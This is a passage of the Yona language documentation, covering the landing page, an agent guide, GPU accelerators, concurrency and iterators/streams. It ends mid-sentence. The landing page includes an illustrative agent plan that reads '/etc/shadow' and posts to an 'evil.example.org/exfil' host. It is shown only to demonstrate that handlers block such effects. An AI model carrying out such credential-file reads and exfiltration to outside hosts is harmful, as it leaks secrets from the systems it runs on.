# Yona Source: https://yona-lang.org/ ```yona import println from Std\IO in # This plan came from an agent. It can ask — your handler decides. let plan = \() -> do secrets = perform Fs.read "/etc/shadow" ack = perform Net.post "https://evil.example.org/exfil" println secrets println ack end in handle plan () with Fs.read path resume -> resume "[redacted: no filesystem]" Net.post url resume -> resume "[blocked: no network]" return val -> val end ``` A Yona program's side effects are *performed operations*, answered by a handler you control — never ambient authority over your files, sockets, or credentials. The plan above never touched the filesystem or the network: its handler answered both requests with policy. The same plan runs against real I/O in production and canned data in tests, without changing a line of it. [How effects work](/learn/effects/). ## The compiler is the reviewer Machine-written code needs a reviewer that never gets tired, never skims, and never merges on a hunch. Hindley–Milner inference types every expression without annotations. Matches over algebraic data types are checked for exhaustiveness. And every effect a program performs is named by the compiler until a handler covers it: ```yona let plan = \() -> perform Fs.read "/etc/shadow" in plan () ``` ```text error: unhandled effect operation: Fs.read ``` These docs are machine-readable too — fetch /llms.txt, or read the [agent guide](/agents/). ## Resources that can't leak File handles, sockets, and channel endpoints are linear values, tracked so that each one is consumed exactly once. `with` scopes a resource to a block and releases it deterministically — on exception as on success: ```yona import tcpConnect from Std\Net, send from Std\Net in with conn = tcpConnect "localhost" 8080 in send conn "hello" # conn is closed here — no finally, no finalizer ``` [The type system](/guides/type-system/) states precisely what is checked today. ## Runs like infrastructure No VM, no garbage collector, no async ceremony. Yona compiles ahead of time through LLVM and manages memory with Perceus-style reference counting; independent work parallelizes over io_uring and a work-stealing thread pool — the parallel version *is* the naive version: ```yona import readFile from Std\File in # All three reads in flight at once — no async, no await, no Promise.all. let files = ["config.toml", "schema.json", "ca.pem"] in [| readFile f for f = files ] ``` Common benchmarks land within 1–2× of C ([methodology](/guides/performance/)), and array pipelines lower transparently to Vulkan compute ([accelerators](/guides/accelerators/)). ## Install in one line ```bash # Fedora / RHEL sudo dnf copr enable kovariadam/yona && sudo dnf install yona # Ubuntu / Debian sudo add-apt-repository ppa:kovariadam/yona && sudo apt install yona # macOS / Linuxbrew brew install akovari/tap/yona # Arch yay -S yona-bin ``` Windows MSI and source builds: see [Installation](/install/). ```bash yonac -e 'let fib n = if n <= 1 then n else fib (n-1) + fib (n-2) in fib 10' # => 55 ``` Yona is free software, licensed under the [GPLv3](https://github.com/yona-lang/yonac-llvm/blob/master/LICENSE.txt). Development happens on [GitHub](https://github.com/yona-lang/yonac-llvm). Documentation for the legacy GraalVM-era Yona 1.x remains available at [yona-lang.github.io](https://yona-lang.github.io/). --- # Agent guide Source: https://yona-lang.org/agents/ Yona is designed to be a good target for machine-written code: the grammar is small, the type system is strict, and the compiler's diagnostics are stable and self-explaining. This page is the entry point for coding agents and the humans configuring them. ## Machine-readable documentation - **/llms.txt** — an index of every documentation page with one-line descriptions. Fetch this first. - **/llms-full.txt** — the entire documentation corpus concatenated as plain markdown. - **/llms-small.txt** — an abridged corpus for small context windows. ## The feedback loop Yona's compiler is built for error-driven repair: 1. **Compile:** `yonac program.yona` (or `yonac -e ''` for a one-liner). 2. **Read the diagnostic code.** Errors carry stable codes (for example `E0202` — unhandled effect at a call site). 3. **Ask the compiler to explain:** `yonac --explain E0202` prints the full explanation with examples. No web search required. 4. **Fix and recompile.** Warnings become errors under `--Werror` for stricter loops. Useful introspection flags: | Flag | Output | |------|--------| | `--emit-ir` | LLVM IR instead of an executable | | `--emit-obj` | object file only | | `--emit-accelerator-report` | JSON report of GPU-lowered and explicit accelerator sites | | `--explain E0xxx` | full explanation of a diagnostic | | `-I path` | additional `.yonai` interface search paths | ## Contracts an agent can rely on - **Everything is an expression.** A program is one expression; there are no statements. Generation can proceed compositionally. - **Types are inferred.** Do not emit annotations unless a signature is the point; the checker infers principal types. - **Effects are visible.** A function's arrow carries the effects it may perform (`Int -> !{State.get} Int`). If generated code performs an effect with no covering `handle`, compilation fails with `E0202` — treat that as a contract violation, not a runtime surprise. - **Resources are linear.** Values such as file handles and channel endpoints must be consumed exactly once; prefer `with` blocks. Dropping or duplicating one is a compile error, not a leak. - **Exhaustiveness is checked.** `case` over an ADT should cover every constructor; the compiler warns otherwise. ## Style rules for generated code Follow the [style guide](/learn/style/); the high-signal rules: - Never nest `let`; use one multi-binding `let x = 1, y = 2 in …`. - `let` binds values (independent RHSs may run in parallel); `do` sequences effects top to bottom. Combining them is valid when you need both — `let a = readFile x, b = readFile y in do … end`. Do not use `let _ = effect` to sequence, wrap a single expression in `do`, or pad a body with a dummy trailing `0`. - Use comma-separated imports: `import a from X, b from Y in …`. - Use `with` for resources, not manual open/close. - Comments are `#` (line) and `/* */` (block) — **not** `--`. - Prefer prelude combinators (`identity`, `const`, `flip`, `compose`) and `Std\…` modules over reimplementation. `foldl`, `map`, and `filter` are **not** prelude — `import foldl from Std\List` first. ## Syntax highlighting and grammars The TextMate grammar used by this site is published at [`/grammars/yona.tmLanguage.json`](https://github.com/yona-lang/yona-lang.github.io/blob/master/grammars/yona.tmLanguage.json) and can be reused in editors and rendering pipelines. --- # Accelerators (GPU) Source: https://yona-lang.org/guides/accelerators/ `Std\GPU` gives Yona programs **columnar accelerated execution** over primitive numeric arrays (`IntArray`, `FloatArray`). The design has one non-negotiable property: **the GPU is an optimization, never a semantic**. Every operation has a CPU implementation (scalar or SIMD) that produces identical results, so programs run correctly on machines with no GPU, no Vulkan loader, and no SDK. Whether a given call actually reaches the GPU is decided at run time by capability detection and size thresholds. Two things to know up front: - The device path executes a **fixed kernel library** (add, multiply, square, scale, compare-filter, sum). Arbitrary Yona lambdas are *not* compiled to SPIR-V yet — unrecognized lambdas run on the host, correctly. - Everything on this page works in a default build. Sections marked **requires the optional Vulkan build** need the runtime compiled with Vulkan headers (see [Enabling Vulkan](#enabling-vulkan) below). ## Discovering capabilities ```yona import backendName, hasGpu, hasSimd, vulkanStatus, vulkanAvailable, vulkanLastNote from Std\GPU in (backendName, hasGpu, vulkanStatus) ``` - `backendName : String` — the CPU backend in use: `"cpu-simd"` (x86 SSE2 / AArch64 NEON baseline) or `"cpu-scalar"`. - `hasGpu : Bool` — `true` when the runtime was built with Vulkan, Vulkan is not disabled by `YONA_GPU_DISABLE_VULKAN`, and device init succeeded. - `vulkanStatus : String` — `"vulkan-unavailable"`, `"vulkan-loader"` (a loader is visible to the process), or `"vulkan-device"` (a compute queue was created — requires the optional Vulkan build). - `vulkanLastNote : String` — a short hint from the last failed device init or GPU dispatch; empty after success. Useful for logs; prefer the typed `GpuIssue` API (below) for control flow. ```bash yonac -e 'import backendName from Std\GPU in backendName' -o probe && ./probe # => cpu-simd (on a typical x86-64 host without the Vulkan build) ``` Additional probes: `hasSimd`, `vulkanTimelineSemaphore`, `available ()`, `apiVersion ()`, and `physicalDeviceCount ()`. ## The explicit API ### Buffers and Int kernels `Buffer` is an opaque accelerator column. `upload` copies a host `IntArray` into accelerator-owned storage; `materialize` copies it back. The copies happen even on the CPU backend, so your program observes transfer-like ownership boundaries from day one and gains nothing but speed if device storage appears later. ```yona import fromSeq from Std\IntArray in import upload, mapAdd, reduceSum from Std\GPU in reduceSum (mapAdd 10 (upload (fromSeq [1, 2, 3]))) # => 36 ``` Int kernels on `Buffer`: `mapAdd delta`, `mapMul factor`, `mapSquare`, `filterGreaterThan threshold`, `filterLessThan threshold`, `reduceSum`, plus `length` and `materialize`. ### Kernel-op ADTs: `mapGPU` and `reduceGPU` The type-directed entry points take a kernel *descriptor* from a small ADT — this is the honest encoding of the fixed kernel library: ```yona type IntMapOp = Add Int | Mul Int | Square type IntReduceOp = Sum type FloatMapOp = Scale Float | Mul2 type FloatReduceOp = FSum ``` ```yona import fromSeq from Std\IntArray in import upload, mapGPU, reduceGPU, Add, Sum from Std\GPU in reduceGPU Sum (mapGPU (Add 10) (upload (fromSeq [1, 2, 3]))) # => 36 ``` `mapReduceGraphGPU stages buffer` chains several map stages and a final sum. On the Vulkan path it batches everything into a single queue submit with pipeline barriers; elsewhere it applies the stages sequentially: ```yona import fromSeq from Std\IntArray in import upload, mapReduceGraphGPU, Add, Mul from Std\GPU in mapReduceGraphGPU [Add 1, Mul 2] (upload (fromSeq [1, 2, 3, 4, 5])) # => 40 # sum of (x + 1) * 2 ``` ### Float kernels Float maps and reductions work directly on `FloatArray` — no buffer wrapper: ```yona import fill from Std\FloatArray in import mapFloatGPU, reduceFloatGPU, Scale, FSum from Std\GPU in reduceFloatGPU FSum (mapFloatGPU (Scale 2.0) (fill 4 1.5)) # => 12.0 ``` Experimental async variants `floatArrayScaleAsync` and `floatArrayMul2Async` mutate a `FloatArray` in place through a native promise (transparently awaited). **Requires the optional Vulkan build** to do device work; they complete on the CPU path otherwise. ### Pinned float arrays `PinnedFloats` is contiguous host float storage that prefers Vulkan host-visible *mapped* memory when a device is up, so CPU-side writes are directly visible to GPU dispatches with no staging copy. Treat the handle as a resource — wrap it in `Linear` at call sites and always close it: ```yona import allocPinnedFloats, pinnedSet, pinnedGet, pinnedBackend, mapFloatPinnedGPU, closePinnedFloats, Scale from Std\GPU in let p = allocPinnedFloats 2, _ = pinnedSet p 0 1.0, _ = pinnedSet p 1 2.0, _ = mapFloatPinnedGPU (Scale 10.0) p, total = pinnedGet p 0 + pinnedGet p 1, _ = closePinnedFloats p in total # => 30.0 ``` `pinnedBackend p` reports `"vulkan-mapped"` or `"host-malloc"`; set `YONA_GPU_PINNED_HOST_MALLOC=1` to force malloc. `pinnedToFloatArray` / `copyFloatArrayToPinned` convert to and from ordinary arrays. ### CPU-to-GPU float pipelines `gpuFloatChannel n` creates a bounded `FloatArray` channel (linear endpoints, from `Std\Channel`), and `drainMapFloatGPU op rx tx` pulls chunks from `rx`, applies a float kernel to each, and sends results to `tx` until the input channel closes — a ready-made GPU stage for producer/consumer pipelines. It returns the number of chunks processed. ## Transparent lowering You do not have to call `Std\GPU` to benefit from it. The compiler recognizes **inline lambdas** in `Std\IntArray` / `Std\FloatArray` `map`, `filter`, and `foldl` pipelines that match the fixed kernel library and rewrites them to the same columnar runtime ABI as the explicit API: ```yona import map, foldl, fromSeq from Std\IntArray in foldl (\a b -> a + b) 0 (map (\x -> x * x) (fromSeq [1, 2, 3, 4])) # => 30 # compiled as mapSquare + reduceSum, GPU-eligible at run time ``` Recognized shapes (Int unless noted): `\x -> x + k`, `\x -> x - k`, `\x -> 0 - x`, `\x -> x * k`, `\x -> x * x` for `map`; `\x -> x > k` and `\x -> x < k` for `filter`; `\a b -> a + b` with init `0` for `foldl`; and `\x -> x * s` (Float map), `\a b -> a + b` with init `0.0` (Float sum). Not rewritten — these stay on the always-correct host closure path: named lambdas, shapes outside the library (`\x -> x + x * x`), lambdas containing effects, `Std\List` operations, and code that already calls `Std\GPU` explicitly. Three compiler flags control the pass (see [the CLI reference](/reference/cli/)): ```bash # JSON report of every explicit Std\GPU site and every transparent rewrite yonac pipeline.yona --emit-accelerator-report # => {"schema":"yona.accelerator_diag.v1", ..., # "sites":[{"op":"reduceSum","kind":"transparent","kernel":"reduceSum",...}, # {"op":"mapSquare","kind":"transparent","kernel":"mapSquare",...}]} # Disable the rewrite entirely (host closures for everything) yonac --no-accelerator-lowering -o app pipeline.yona # Fail compilation with E0700 when an IntArray/FloatArray lambda is NOT # lowerable, instead of silently keeping the host path yonac --strict-accelerator -o app pipeline.yona ``` `--strict-accelerator` is the honest mode for teams that want a guarantee: either the pipeline compiled to the accelerator ABI, or the build failed. For modules, add `--emit-accelerator-report-with-types` to run the type checker before the report. ## CPU fallback semantics Results are **identical** whether a kernel executes on the GPU or the CPU — filters preserve order, sums agree, and every benchmark's expected output is checked on both paths. Fallback happens per call, at run time: - **Int kernels** go to Vulkan only when the device is up, the per-op opt-in is set, and the column length meets the minimum (default 4096, tunable — see the table below). Otherwise: SIMD/scalar CPU. - **Float kernels** try the device when init succeeds, else CPU. - If a device dispatch fails mid-flight, the runtime records the failure (`vulkanLastNote`, `vulkanLastIssueKind`) and the CPU path keeps the program correct. You never need a code path per backend. Write the pipeline once; tune the crossover with environment variables. ## Typed GPU failures For observability and recovery, classified failures are exposed as an ADT rather than strings: ```yona type GpuIssue = GpuOk | GpuOom | GpuDeviceLost | GpuOther Int ``` - `gpuLastIssue : GpuIssue` — the last classified device issue. - `checkGpu` — `Ok 0` when clean, else `Err issue`, for Result-style plumbing. - `withGpuIssue on_ok on_issue` — branch without string parsing. ```yona import checkGpu, GpuOom from Std\GPU in case checkGpu of Ok _ -> "clean" Err GpuOom -> "out of device memory" Err _ -> "other issue" end # => "clean" (on a host that has made no failing GPU attempt) ``` For effect-based handling, `raiseGpu issue` performs `Gpu.oom`, `Gpu.deviceLost`, or `Gpu.fail code`, and `withGpuFallback action` runs the action then raises the last classified issue if any. Both are designed to sit inside a user `handle` — cross-module monomorphization binds the caller's handler clauses (effect rows travel in the `.yonai` interface): ```yona import withGpuFallback from Std\GPU in handle withGpuFallback (\_ -> runPipeline 0) with Gpu.oom () resume -> resume (retryWithSmallerBatch ()) Gpu.deviceLost () resume -> resume (restartOnCpu ()) Gpu.fail code resume -> resume code return val -> val end ``` ## Enabling Vulkan **Everything above works without this section.** The optional Vulkan build adds a real device path behind the same API. Build-time (compiling the compiler/runtime from source): ```bash cmake --preset x64-release-linux -DYONA_ENABLE_VULKAN=ON cmake --build --preset build-release-linux # Homebrew users: brew install akovari/tap/yona --with-vulkan ``` When `yonac` compiles the runtime from source on your machine, set `YONA_COMPILE_GPU_VULKAN=1` (plus `VULKAN_SDK` or `HOMEBREW_PREFIX` so the Vulkan headers are found) to get the Vulkan-enabled runtime; leave it unset for the default CPU-only runtime. Run-time opt-ins and tuning (documented environment variables): | Variable | Effect | |----------|--------| | `YONA_GPU_VULKAN_COMPUTE=1` | Enable the Vulkan path for all Int kernels. | | `YONA_GPU_VULKAN_MAPADD=1` / `MAPMUL=1` / `REDUCE=1` / `FILTER=1` | Per-kernel opt-in. | | `YONA_GPU_VULKAN_MIN_LEN` | Minimum column length for the device path (default 4096). | | `YONA_GPU_VULKAN_MAPADD_MIN_LEN` (and per-op variants) | Per-kernel minimum length. | | `YONA_GPU_VULKAN_GRAPH=1` / `YONA_GPU_VULKAN_GRAPH_MIN_LEN` | One-submit `mapReduceGraphGPU`. | | `YONA_GPU_DISABLE_VULKAN=1` | Disable all GPU paths (CPU only). | | `YONA_GPU_VULKAN_PHYSICAL_DEVICE_INDEX` | Pick a specific adapter. | | `YONA_GPU_VULKAN_HOST_SSBO=1` | Force host-visible buffers (debugging/parity). | | `YONA_GPU_PINNED_HOST_MALLOC=1` | Force malloc for `PinnedFloats`. | | `YONA_GPU_ASYNC_TIMELINE=0` | Use fences instead of timeline semaphores for async float work. | Device selection prefers a discrete GPU with a compute queue; `shaderInt64` and API version break ties. On macOS/MoltenVK, `shaderInt64` and `shaderFloat64` are usually unavailable — `hasGpu` is still `true`, Int kernels narrow to i32 when every value fits, and float kernels fall back to f32; values outside range stay on the CPU. Implementation note. Vulkan entry points are resolved at run time via `dlopen`/`LoadLibrary` on the loader — a default-built program has no link-time Vulkan dependency and runs on loader-less hosts. ## Benchmarking the crossover `bench/run_gpu_compare.py` in the compiler repository runs the same compiled program with the GPU forced off and then opted in, checks that both outputs match the golden file, and prints CPU-vs-GPU wall times. Use it to tune `YONA_GPU_VULKAN_MIN_LEN` for your hardware. See [Performance](/guides/performance/) for the general benchmarking harness. ## Limitations - **Fixed kernel library.** Only the shapes listed above execute on the device. There is no SPIR-V compilation of arbitrary Yona lambdas yet; unrecognized lambdas run on the host (or fail the build under `--strict-accelerator`). - **Primitive columns only.** No ADTs, strings, closures, effects, or exceptions inside kernels. - **`vulkanLastNote` is a single shared buffer**, not a structured log — use `GpuIssue` for control flow. - Small columns will not win on a GPU: transfer plus launch overhead dominates below the minimum-length thresholds, which is exactly why the runtime defaults them to 4096 and lets you tune per kernel. --- # Concurrency in depth Source: https://yona-lang.org/guides/concurrency/ Yona's concurrency model has one governing principle: **the program text describes data dependencies, and the compiler extracts the parallelism**. There is no `async` keyword, no `await` keyword, and no colored functions. This page consolidates the full model: how transparent async works under the hood, how the compiler decides what may run concurrently, how task groups give structure and cancellation to concurrent work, and how channels and parallel comprehensions extend the model to pipelines and batch parallelism. For a gentler introduction, start with [Concurrency](/learn/concurrency/) in the Learn track. ## Transparent async An I/O call like `readFile` does not block. It *starts* the operation and returns immediately; the program only waits when it actually needs the result: ```yona let content = readFile "data.txt" in # starts the read, does not block let banner = "== report ==" in # runs while the read is in flight banner ++ "\n" ++ content # waits here, at first real use ``` Semantically, `content` has type `Promise String` between the call and the first use. You never see this type in source code: the type checker tracks `Promise T` internally and inserts an **await coercion** at every site where a `Promise T` value flows into a position that requires a plain `T`. After the coercion, the binding is an ordinary `String`. *Implementation note.* Standard-library functions are marked in `.yonai` interface files as `FN` (pure), `IO` (kernel I/O), or `AFN` (async CPU-bound). `IO` calls submit to the kernel — io_uring on Linux, IOCP on Windows, kqueue on macOS — and return a submission ID immediately. `AFN` calls run on a fixed-size work-stealing thread pool and return a promise. Codegen's `auto_await` checks whether a value is promise-typed at each use and emits the matching wait (`yona_rt_io_await` or `yona_rt_async_await`). When io_uring is unavailable (some containers), I/O falls back to blocking calls with the same observable semantics. ### Buffer pinning Async writes hand user buffers to the kernel, which holds them until the operation completes. Reference counting alone would allow the buffer to be freed while the kernel still reads it. The runtime therefore copies write and send payloads into a pinned, RC-managed buffer at submission time and releases it only after the kernel signals completion. Read buffers are allocated by the runtime and are unreachable until the await returns, so they need no pinning. None of this is visible in Yona code — it is what makes transparent async memory-safe. ## Dependency analysis of let bindings The unit of parallelism is the multi-binding `let`. Two bindings are **independent** when neither's right-hand side refers to the other's name (directly or through intermediate bindings). Independent async bindings are submitted together; dependent bindings are evaluated in order, exactly as written: ```yona let a = readFile "users.csv", # independent — submitted immediately b = readFile "orders.csv", # independent — submitted immediately n = length a # depends on a — awaits a first in (n, b) ``` `a` and `b` overlap; total latency is `max(read a, read b)`, not the sum. `n` forces an await on `a` because its right-hand side uses `a`. Sequential `let … in let … in …` chains express dependency by construction and are never reordered. The rule to remember: **Yona preserves your ordering wherever a dependency exists and removes the waiting wherever none does.** ```yona import exec from Std\Process in let build = exec "make build", test = exec "make test", lint = exec "make lint" in (build, test, lint) # => all three commands ran in parallel ``` ## Structured concurrency Concurrency without structure leaks: a failed sibling keeps running, errors vanish on background threads. Yona wraps every multi-binding `let` that contains async work in an implicit **task group**: - The group tracks all in-flight children (thread-pool promises and io_uring operations). - If one child fails, the group is cancelled: queued thread-pool siblings are skipped, and in-flight kernel operations are cancelled through the io_uring cancellation interface. - The first error is re-raised on the parent at the end of the `let`, so failures propagate exactly as if the code were sequential. - No child outlives the scope that created it. ```yona let a = readFile "exists.txt", b = readFile "missing.txt" # raises — a is cancelled, in a ++ b # error propagates to the caller ``` There is no syntax for any of this; it is the semantics of `let`. *Implementation note.* Codegen emits `group_begin` before the bindings and `group_await_all` / `group_end` after the body. Worker threads capture exceptions and record the first error in the group; the runtime's `raise` path also tears down in-flight groups when an exception unwinds past them, so group resources are reclaimed on both the success and failure paths. ### Cooperative cancellation Long-running CPU-bound work can poll for cancellation with the built-in `Cancel.check` effect, which raises `:Cancelled` if the enclosing task group has been cancelled: ```yona let processItem item = do perform Cancel.check () # raises :Cancelled if group cancelled heavyComputation item end in processItem work ``` ### Spawning explicit tasks Transparent async parallelizes *bindings*. When you need a long-lived or detached unit of work — a producer feeding a channel, an actor loop — use `spawn` from `Std\Task`. It runs a zero-argument closure on a thread-pool worker and returns a promise, which is auto-awaited at first use like any other async result: ```yona import spawn from Std\Task in let a = spawn (\() -> fib 30), b = spawn (\() -> fib 31) in a + b # => auto-awaits both tasks ``` Spawned tasks participate in the enclosing task group, so cancellation and error propagation apply to them too. Exceptions raised inside the closure surface at the await point. ## Channels Transparent async covers "start several things, use the results". It cannot express a producer and consumer running *at the same time* over a stream of values. `Std\Channel` provides bounded, multi-producer multi-consumer channels for exactly that. ### Creating a channel: linear endpoints `channel n` creates a channel with buffer capacity `n` and returns the two endpoints, each wrapped in `Linear`: ```yona import channel from Std\Channel in let (sl, rl) = channel 16 in # (Linear (Sender a), Linear (Receiver a)) case sl of Linear sender -> case rl of Linear receiver -> useThem sender receiver end end ``` The `Linear` wrappers are compile-time obligations checked by the linearity checker: each endpoint must be unwrapped by pattern matching **exactly once**. Dropping an endpoint without unwrapping it is flagged as a resource leak, and using a `Linear` binding after it has been consumed is error E0600. After unwrapping, the `Sender a` can only `send` and the `Receiver a` can only `recv` / `tryRecv` — the producer/consumer split is enforced by the types. See [Memory and linearity](/guides/memory/) for the full linearity rules. ### Operations ```yona send sender v # blocks while the buffer is full; returns () recv receiver # blocks while empty; Some v, or None when closed+drained tryRecv receiver # non-blocking; returns immediately close sender # closes the channel; wakes all blocked sends/recvs isClosed s # => true after close length s # buffered element count capacity s # buffer capacity fixed at creation ``` **Close semantics.** `close` marks the channel closed. Receivers first drain any buffered values (`recv` keeps returning `Some v`), then receive `None`. `None` is the end-of-stream signal — consumer loops terminate on it. Blocked senders and receivers are woken when the channel closes. **Backpressure.** The buffer bound is the memory bound: a fast producer blocks on `send` when the buffer is full until the consumer catches up. Capacity 1 gives a rendezvous channel; larger capacities decouple bursty rates. **Cancellation.** Channels integrate with task groups: when a group is cancelled, sends and recvs blocked inside it wake up and raise `:Cancelled`. **Deadlock detection.** `send` and `recv` block their worker thread, so the runtime tracks channel waiters against runnable work. If a blocked task confirms that no runnable task remains that could unblock it, the runtime raises `:Deadlock` deterministically — catching a forgotten `spawn` or a producer that crashed without `close`. If the worker pool is merely saturated while runnable work is queued, a compensation worker is started instead. *Implementation note.* Send and receive are mutex-protected with roughly 50 ns uncontended overhead; every `send` is atomic, so any number of producers and consumers may share the two endpoints' unwrapped handles. ## Parallel comprehensions For batch parallelism over a collection, `[| … ]` runs each element's body as its own thread-pool task, grouped under one task group (any failure cancels the rest), and collects results **in order**: ```yona [| x * 2 for x = [1, 2, 3, 4, 5] ] # => [2, 4, 6, 8, 10] ``` `Std\Parallel` wraps this in the usual combinators — `pmap f xs` for parallel map, `pfor f xs` for parallel side effects: ```yona import pmap from Std\Parallel in pmap (\x -> x * x) [1, 2, 3] # => [1, 4, 9] ``` Use parallel comprehensions when the work is embarrassingly parallel and the whole result fits in memory; use channels when producers and consumers run at different rates or the stream is unbounded. ## Choosing a primitive | Need | Use | |------|-----| | Several independent I/O or CPU results | multi-binding `let` (transparent async) | | Batch-parallel map over a collection | `[\| … ]` or `Std\Parallel.pmap` | | Detached or long-lived unit of work | `Std\Task.spawn` | | Streaming pipeline with backpressure | `Std\Channel` + `spawn` | | Sequential O(1)-memory streaming, no parallelism | `Iterator` — see [Iterators and streams](/guides/iterators/) | ## Worked example: a channel pipeline A producer task generates work items and a consumer aggregates them, both running concurrently with a bounded buffer between them: ```yona import channel, send, recv, close from Std\Channel, spawn from Std\Task in let (sl, rl) = channel 8 in case sl of Linear sender -> case rl of Linear receiver -> let produce n = if n > 100 then close sender else let _ = send sender (n * n) in produce (n + 1), consume acc = case recv receiver of Some v -> consume (acc + v) None -> acc end, _ = spawn (\() -> produce 1) in consume 0 # => 338350 (sum of squares 1..100) end end ``` Reading the example: 1. `channel 8` bounds the pipeline: the producer can run at most 8 items ahead of the consumer before `send` blocks. 2. The producer is spawned onto a worker thread; the consumer runs on the current task. Both endpoints were unwrapped exactly once, satisfying linearity. 3. `close sender` ends the stream; the consumer's `None` arm returns the accumulated result after draining the buffer. 4. If the producer raised instead of closing, group cancellation would wake the blocked `recv` with `:Cancelled` rather than hanging it. To fan the work out across several consumers, spawn N copies of the consumer loop reading the same `receiver` — MPMC channels balance load dynamically, unlike `pmap`'s static partitioning. ## Further reading - [Memory and linearity](/guides/memory/) — why endpoints are linear, and how the RC runtime stays safe under concurrency - [The type system](/guides/type-system/) — how `Promise T` and effect rows are tracked - [Language specification](/reference/specification/) — normative semantics --- # Iterators and streams Source: https://yona-lang.org/guides/iterators/ Yona is strictly evaluated, but two library types give you streaming, demand-driven data processing: the prelude **`Iterator`** (a stateful pull handle, ideal for I/O sources) and **`Std\Stream`** (a pure lazy sequence built from explicit thunks). Both let you process data far larger than memory — one element resident at a time. ## The `Iterator` type `Iterator` is a prelude type — available everywhere without an import: ```yona type Iterator a = Iterator (() -> Option a) ``` An iterator wraps a *next* function: each call returns `Some element` until the source is exhausted, then `None`. The state (file offset, scan position) lives behind the closure, so iterators are inherently **single-use** — once drained, they cannot be rewound. ## Streaming sources in the stdlib Several stdlib functions return iterators instead of materialized sequences: | Function | Returns | Yields | |----------|---------|--------| | `Std\File::readLines path` | `Iterator String` | file lines, 64 KB buffered | | `Std\String::chars str` | `Iterator Int` | character codes | | `Std\String::split delim str` | `Iterator String` | substrings, on demand | | `Std\String::lines str` | `Iterator String` | lines split on `\n` | ```yona import chars, split from Std\String in let codes = [c for c = chars "hi"], parts = [s for s = split "," "a,b,c"] in codes # => [104, 105] (parts is ["a", "b", "c"]) ``` ## Generators consume iterators in O(1) memory Comprehensions detect an `Iterator` source and compile to a streaming loop: call `next()`, stop on `None`, evaluate the body on the element, append to the result. Only one source element is live at a time. ```yona import readLines from Std\File, length from Std\String in [length line for line = readLines "large_file.txt"] # => one Int per line — the file is never fully resident ``` Implementation note. The generator loop appends with an O(1)-amortized `seq_snoc`, so results grow without a size limit. `readLines` is backed by a C iterator holding a 64 KB read buffer that is reused across `next()` calls; memory use is O(64 KB) regardless of file size. The *result* sequence is materialized — if you also want the output to stay small, fold instead of collecting (see the worked example below). ## Iterators vs materialized sequences | Scenario | `Seq` (eager) | `Iterator` (streaming) | |----------|---------------|------------------------| | 50 MB file, count lines | O(50 MB) memory | O(64 KB) memory | | 1M-char string, per-char work | O(1M) allocations up front | O(1) per char | | Split a 10K-field CSV row | 10K strings up front | one string per field | Guidance: use a `Seq` when the data is small, when you need random access, length, or multiple passes. Use an iterator when the source is I/O, when the data may be large, or when you will consume it exactly once, front to back. Iterators are forward-only, have no `length`, and are single-use. ## `Std\Stream`: lazy sequences from explicit thunks `Iterator` hides mutable state in the runtime. `Std\Stream` is the pure alternative: laziness encoded directly in an ADT, with the "rest of the sequence" as an explicit thunk. This is how a strict language expresses lazy streams — the same shape as OCaml's `Seq` or ML lazy streams: ```yona type Stream a = Yield a (() -> Stream a) | Nil ``` `Yield x rest` exposes the head element and a function that produces the rest when called. Nothing runs until a consumer forces the next step. There is no hidden state: "what comes next" lives in the recursive arguments of whatever operator built the stream. ### Producers `empty`, `singleton`, `fromSeq`, `range`, `naturals`, `repeat`, `iterate`, `unfold`, and `fromIterator` start a pipeline: ```yona import range, iterate, unfold from Std\Stream in range 1 5 # 1, 2, 3, 4 (hi is exclusive) iterate (\n -> n * 2) 1 # 1, 2, 4, 8, ... (infinite) unfold (\s -> if s > 3 then None else Some (s, s + 1)) 1 # 1, 2, 3 ``` `repeat`, `iterate`, and `naturals` are infinite — always bound them with `take` or a short-circuiting terminator before materializing. ### Lazy transformers `map`, `filter`, `take`, `drop`, `takeWhile`, `dropWhile`, `zip`, `zipWith`, `concat`, `flatMap`, `scan`, and `chunksOf` transform a stream without running it. Pipelines read naturally with `|>`: ```yona import fromSeq, map, sum from Std\Stream in fromSeq [1, 2, 3] |> map (\x -> x * x) |> sum # => 14 ``` ```yona import range, filter, take, toSeq from Std\Stream in range 1 1000000 |> filter (\x -> x % 7 == 0) |> take 3 |> toSeq # => [7, 14, 21] (the range is never fully evaluated) ``` `chunksOf n` groups consecutive elements into `Seq` chunks of size `n` (the last chunk may be shorter) — here `[1, 2, 3]`, `[4, 5, 6]`, `[7]`: ```yona import range, chunksOf, count from Std\Stream in range 1 8 |> chunksOf 3 |> count # => 3 ``` ### Terminators `toSeq`, `foldl`, `forEach`, `count`, `sum`, `anyMatch`, `allMatch`, `find`, `head`, and `isEmpty` actually pull elements through the pipeline. `anyMatch`, `allMatch`, `find`, and `head` short-circuit: ```yona import naturals, map, find from Std\Stream in case naturals |> map (\n -> n * n) |> find (\sq -> sq > 50) of Some sq -> sq None -> 0 end # => 64 ``` ### Resource scoping: `bracket` Partial `bracket acquire release produce` runs `release` exactly once when the stream from `produce` is fully drained; the resource is held across the whole stream, not per element: ```yona import bracket, forEach from Std\Stream in bracket (\_ -> openThing 0) (\r -> closeThing r) (\r -> streamFrom r) |> forEach handle ``` The partial part: abandoning a bracketed stream *before* `Nil` (for example `take 10` of a longer source) currently leaks the resource — a consumer-drop signal is planned. `acquire` and `release` take an ignored `Int` argument rather than `()` for calling-convention reasons. ### Pipeline parallelism: `async` and `buffered` By default an entire pipeline runs in the consumer's task — forcing the next element is just a function call. To split work across tasks, insert one explicit `async` at the boundary you want: ```yona import fromIterator, map, filter, async, take, toSeq from Std\Stream, readLines from Std\File in fromIterator (readLines "input.txt") |> map parse # runs in the caller's task |> filter valid |> async # pipeline boundary: bounded channel, capacity 16 |> map enrich # runs in a spawned task |> take 100 |> toSeq ``` `async` spawns a producer task that pulls from upstream and sends into a bounded channel; the downstream stream pulls from that channel. Backpressure is automatic — a slow consumer blocks the channel, which blocks the producer. `buffered n` is `async` with an explicit capacity. There is no implicit threading: you can read a pipeline and see exactly where the task boundaries are. Implementation note. If the spawned producer raises, the consumer currently sees an early end-of-stream rather than the error, and cancellation of the consumer does not yet propagate upstream promptly. Error forwarding and cancellation across `async` are planned; where they matter today, use `Std\Channel` directly. ## Worked example: a large file in constant memory Total the line lengths of a file without ever holding more than one line (plus the 64 KB read buffer) in memory. The comprehension streams from the iterator and the fold consumes each element as it arrives: ```yona import readLines from Std\File, foldl from Std\List, length from Std\String in foldl (\total n -> total + n) 0 [length line for line = readLines "lines.txt"] ``` ```bash printf 'alpha\nbeta\ngamma\n' > lines.txt yonac -o total total.yona ./total # => 14 ``` The same shape with `Std\Stream` keeps everything in one lazy pipeline and adds an easy 